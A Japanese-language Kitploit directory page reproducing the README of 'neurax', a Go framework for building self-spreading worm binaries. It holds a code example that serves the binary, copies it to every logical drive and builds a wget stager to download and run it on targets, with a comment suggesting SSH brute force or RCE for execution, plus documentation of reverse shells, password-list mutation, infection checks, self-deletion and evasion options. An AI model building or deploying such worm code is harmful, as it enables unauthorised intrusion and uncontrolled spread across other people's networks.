Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
neurax — 自己拡散バイナリを構築するためのフレームワーク | Kitploit
ツール/GitHubGitHub/redcode-labs/neurax
偵察パスワード攻撃ペイロード生成永続化メカニズムエクスプロイト横移動ポストエクスプロイトマルウェア分析コマンド&コントロールレッドチーミング
GitHubredcode-labs/neurax

neurax

1.0k10142年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

自己拡散バイナリを構築するためのフレームワーク

リポジトリを見る



Neurax



自己拡散ソフトウェアの作成を支援するフレームワーク



概要

Neuraxを利用することで、Golangバイナリは外部サーバーを使わずにLAN/WAN上で拡散できます。

多様な設定オプションとコマンドステージャにより、さまざまな無線環境で迅速な伝搬が可能です。

コード例

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //提供ポートとステージャの指定
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //バックグラウンドで現在のバイナリを公開するサーバーを起動
  go NeuraxServer()
 
  //現在のバイナリをすべての論理ドライブにコピー
  NeuraxDisks()

  //ターゲットマシンで起動されるべきコマンドステージャを作成
  //バイナリをダウンロード、デコード、実行します
  cmd_stager := NeuraxStager()

  /* ここで、上で生成されたコマンドを何らかの方法で実行する必要があります。
     SSHブルートフォース、RCE、またはその他好きな方法を使用できます ;> */

}



v. 2.X の新機能(別サブプロジェクト)

  • リファクタリング:フレームワーク的なアプローチを捨て、すぐに使えるバイナリへ
  • すべてのUNIXターゲット向けの汎用 wget ステージャ
  • ワームの動作を即座に調整できる単一設定ファイル
  • unlinkat(2) による自動自己削除
  • ネットワーク拡散能力を補完する LinuxKI CVE エクスプロイトの例
  • JSON設定ファイルのダウンロードと評価
  • ホストハーベスタのミニマルな再実装

v. 2.5 の新機能

  • 第2段階バイナリのオプションのバックグラウンド実行(N.StagerBg)
  • コマンドステージャがコンテキストローカルパスに保存・実行
  • 正常実行直後にダウンロードバイナリを削除
  • 速度/安定性の理由で同期コマンド実行機構を削除。次回リリースまでに適切な代替案を考えます。
  • N.NoInfectCheck でホストが既に感染しているかのチェックを無効化
  • NeuraxServer() 内に配置された排他的ファイルミューテックスによる、ターゲットマシン上での単一実行ポリシー
  • バイナリ提供用のネストされた goroutine を追加
  • Linux用の新しい httrack ステージャ
  • 検出回避用の一般的な単語リスト(コメントアウト済み)
  • バイナリ削除前の待機を可能にするコマンドステージャ(N.StagerRemovalDelay)

v. 2.0 の新機能

  • 新しい単語リストミューテーター+国別共通パスワード
  • 即席パッシブスキャン
  • アクティブスキャンを少し高速化する .FastScan オプション
  • 単語リストは厳密にメモリ内で作成
  • NeuraxScan() がチャネルではなくコールバック関数を引数として受け取る
  • NeuraxScan() がサブネット全体/ターゲットプールのスキャン間隔を設定可能な無限ループでスキャン
  • IP形式ではないターゲットのリバースDNSルックアップ
  • ARPキャッシュからのターゲット候補抽出
  • 選択したターゲットのみをスキャン可能+特定ターゲット(デフォルトゲートウェイなど)の優先化
  • パッシブネットワークスキャン時のインターフェースとタイムアウト指定が可能に
  • コマンドステージャの改善(昇格権限での実行/複数回実行がオプションで可能)
  • いくつかのオプション名の変更
  • NeuraxConfig. が N. に(短く入力するため)
  • ランダムメモリ割り当て+バイナリ移行の関数
  • 複数ステージャの連鎖が可能(例:wget + curl)
  • 作成される単語リストの容量と複雑さを容易に調整可能(.WordlistExpand などのオプション)
  • 作成バイナリの有効期限(TTL)設定が可能

設定エントリ一覧

新しいターゲットの発見

NeuraxScan(func(string)) 関数は、ローカルネットワーク上のアクティブなホストを検出します。 唯一の引数は、アクティブなホストごとにバックグラウンドで呼び出されるコールバック関数です。 ホストは、少なくとも1つのポートが開いている、既に感染していない、かつ N. 内で指定された条件を満たす場合にアクティブとみなされます。

NeuraxScan() は無限ループとして動作し、.Cidr 設定エントリで指定されたサブネット全体をスキャンし、すべてのホストがスキャンされると、.ScanInterval で指定された間隔だけスリープします。

ディスク感染

Neuraxバイナリは無線手段を使って自身をコピーする必要はありません。 NeuraxDisks() 関数は、現在のバイナリ(疑わしくない名前で)を検出されたすべての論理ドライブにコピーします。 コピーされたバイナリは実行されず、単に実行されるのを待って宛先に存在します。 NeuraxDisks() は、ディスクのリストを取得できない場合、または任意の宛先へのコピーが不可能だった場合に error を返します。

別の関数 NeuraxZIP(num_files int) err は、現在のバイナリを含むランダムな名前の .zip アーカイブを作成します。 カレントディレクトリに保存され、最大 num_files 個のランダムファイルが含まれます。

NeuraxZIPSelf() は単に現在のバイナリを zip 化し、同じ名前のアーカイブを作成します。

リバース接続

NeuraxReverse() でインタラクティブなリバースシェルを確立できます。 これは .ReverseListener 内で "<host>:<port>" の形式で指定されたホスト名からコマンドを受け取ります。 使用されるプロトコルは .ReverseProto で定義されます。 この関数を呼び出す前に NeuraxOpenComm() が起動されていた場合、各コマンドは上記のセクションで説明したように動作します。 起動されていなかった場合、コマンドはローカルで実行されます。

注:この関数も、受信用の無限ループによるブロッキングを防ぐため、goroutine として実行する必要があります。

クリーンアップ

ノードが "purge" コマンドを受信すると、このコマンドを他のすべてのノードに再送信し、自身をホストから削除して終了します。 この動作は、ソース内のどこかで NeuraxPurge() を実行することでも開始できます。

単語リストの作成

選択した拡散ベクトルが何らかのブルートフォースに基づいている場合、適切な単語リストを用意しておくことが重要です。 単語をクライアント側のテキストファイルに保存するのは効率的ではないため、NeuraxWordlist(...words) []string を使用して基本的な単語リストを変異させることができます。 与えられた単語のセットを順列化するには、NeuraxWordlistPermute(..words) []string を使用します。

有効期限(TTL)の設定

バイナリに与えられた時間後に自身を削除させたい場合は、コードの先頭で NeuraxSetTTL() を使用します。 この関数は goroutine として起動する必要があります。 例:

go NeuraxSetTTL("2m")

とすると、最初の実行から2分後にバイナリが NeuraxPurgeSelf() を実行します。

複数ステージャの同時使用

特定のプラットフォームで利用可能なすべてのステージャを連鎖させたい場合は、.Stager を "chain" に設定します。

ドロップしたバイナリの移動

初期実行後にバイナリをコピーする必要がある場合は、NeuraxMigrate(path string) を使用します。 これにより、バイナリが path にコピーされ、現在のバイナリが削除され、新しく移行されたバイナリが実行されます。

このツールをサポートする

このプロジェクトが気に入り、成長を見たいと思われるなら、少額の寄付をご検討ください :>

>>>>> 寄付する <<<<<

ライセンス

このソフトウェアは MITライセンス の下で提供されています。

ツールをダウンロード
名前説明デフォルト値
Nrx.Config.Stager使用するコマンドステージャの名前random, platform-compatible
Nrx.Config.StagerSudotrueの場合、Linuxコマンドステージャは昇格権限で実行されるfalse
Nrx.Config.StagerRetryコマンドステージャを再実行する回数0
Nrx.Config.StagerRemoveDelayダウンロードしたバイナリを削除する前にスリープ命令が適用されるtrue
Nrx.Config.Port提供用ポート6741
Nrx.Config.Platformターゲットとするプラットフォーム自動検出
Nrx.Config.Pathバイナリがホスト上に保存されるパス.
Nrx.Config.FileNameダウンロードバイナリが提供され、保存される名前ランダム
Nrx.Config.Base64転送バイナリをbase64エンコードするfalse
Nrx.Config.CommPortバイナリ同士が通信するためのポート7777
Nrx.Config.CommProtoノード間通信のプロトコル"udp"
Nrx.Config.ReverseListenerリバースシェルハンドラの"<host>:<port>" を含む未指定
Nrx.Config.ReverseProtoリバース接続に使用するプロトコル"udp"
Nrx.Config.ScanRequiredPortNeuraxScan() は特定のポートが開いている場合のみホストをアクティブとみなすなし
Nrx.Config.ScanPassiveNeuraxScan() はパッシブARPトラフィック監視を使用してホストを検出するfalse
Nrx.Config.ScanPassiveTimeoutNeuraxScan() がARP層を監視する秒数50秒
Nrx.Config.ScanPassiveIfaceパッシブスキャン時に使用するインターフェースデフォルト
Nrx.Config.ScanActiveTimeoutNeuraxScan() がスキャン済みポートのタイムアウトとして各スレッドに設定する値2秒
Nrx.Config.ScanPassiveAllNeuraxScan() が検出されたすべてのデバイスでパケットをキャプチャするfalse
Nrx.Config.ScanPassiveNoArpパッシブスキャンが厳密なARPキャプチャフィルタを設定しないfalse
Nrx.Config.ScanFirst最初にスキャンするIPアドレスを含むスライス[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan() は .ScanFirst で指定されたホストのみスキャンするfalse
Nrx.Config.ScanArpCacheNeuraxScan() が最初にローカルARPキャッシュ内のホストをスキャンする。アクティブスキャンのみで動作false
Nrx.Config.ScanCidrNeuraxScan() がスキャンするCIDRローカルIP + "\24"
Nrx.Config.ScanActiveThreadsNeuraxScan() に使用するスレッド数10
Nrx.Config.ScanFullRangeNeuraxScan() がターゲットホストの全ポートをスキャンし、アクティブかどうかを判断する19から300まで
Nrx.Config.ScanIntervalサブネット全体のスキャン前にスリープする時間間隔"2m"
Nrx.Config.ScanHostIntervalアクティブモードで次のホストをスキャンする前にスリープする時間間隔"なし"
Nrx.Config.ScanGatewayFirstアクティブスキャン使用時に最初にスキャンするゲートウェイfalse
Nrx.Config.Verbosetrueの場合、すべてのエラーメッセージがSTDOUTに出力されるfalse
Nrx.Config.Removeエラーが発生した場合、バイナリが自分自身をホストから削除するfalse
Nrx.Config.PreventReexectrueの場合、以前に受信したコマンドと一致するものは実行されないtrue
Nrx.Config.WordlistExpandNeuraxWordlist() が入力単語に非標準的な変換を実行するfalse
Nrx.Config.WordlistCommon単語リストの先頭に最も一般的なパスワード20個を追加するfalse
Nrx.Config.WordlistCommonNum使用する共通パスワードの数すべて
Nrx.Config.WordlistCommonCountries国コードと使用するパスワード数を含む map[string]intmap[string]int
Nrx.Config.WordlistMutators.WordlistExpand が指定された場合に使用するミューテーター{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumNeuraxWordlistPermute() が生成する順列の最大長2
Nrx.Config.WordlistPermuteSeparator順列に使用する区切り文字"-"
Nrx.Config.WordlistShuffle生成された単語リストを返す前にシャッフルするfalse
Nrx.Config.AllocNumNeuraxAlloc() がランダムメモリを割り当てる回数5
Nrx.Config.Blacklistあらゆる種類のスキャンから除外されるIPアドレスを含むスライス[]string{}
Nrx.Config.FastHTTPIsHostInfected() のHTTPリクエストがfasthttpライブラリを使用して実行されるfalse
Nrx.Config.Debugデバッグメッセージを有効にするfalse
Nrx.Config.NoInfectCheckホストが既に感染しているかのチェックを無効にするtrue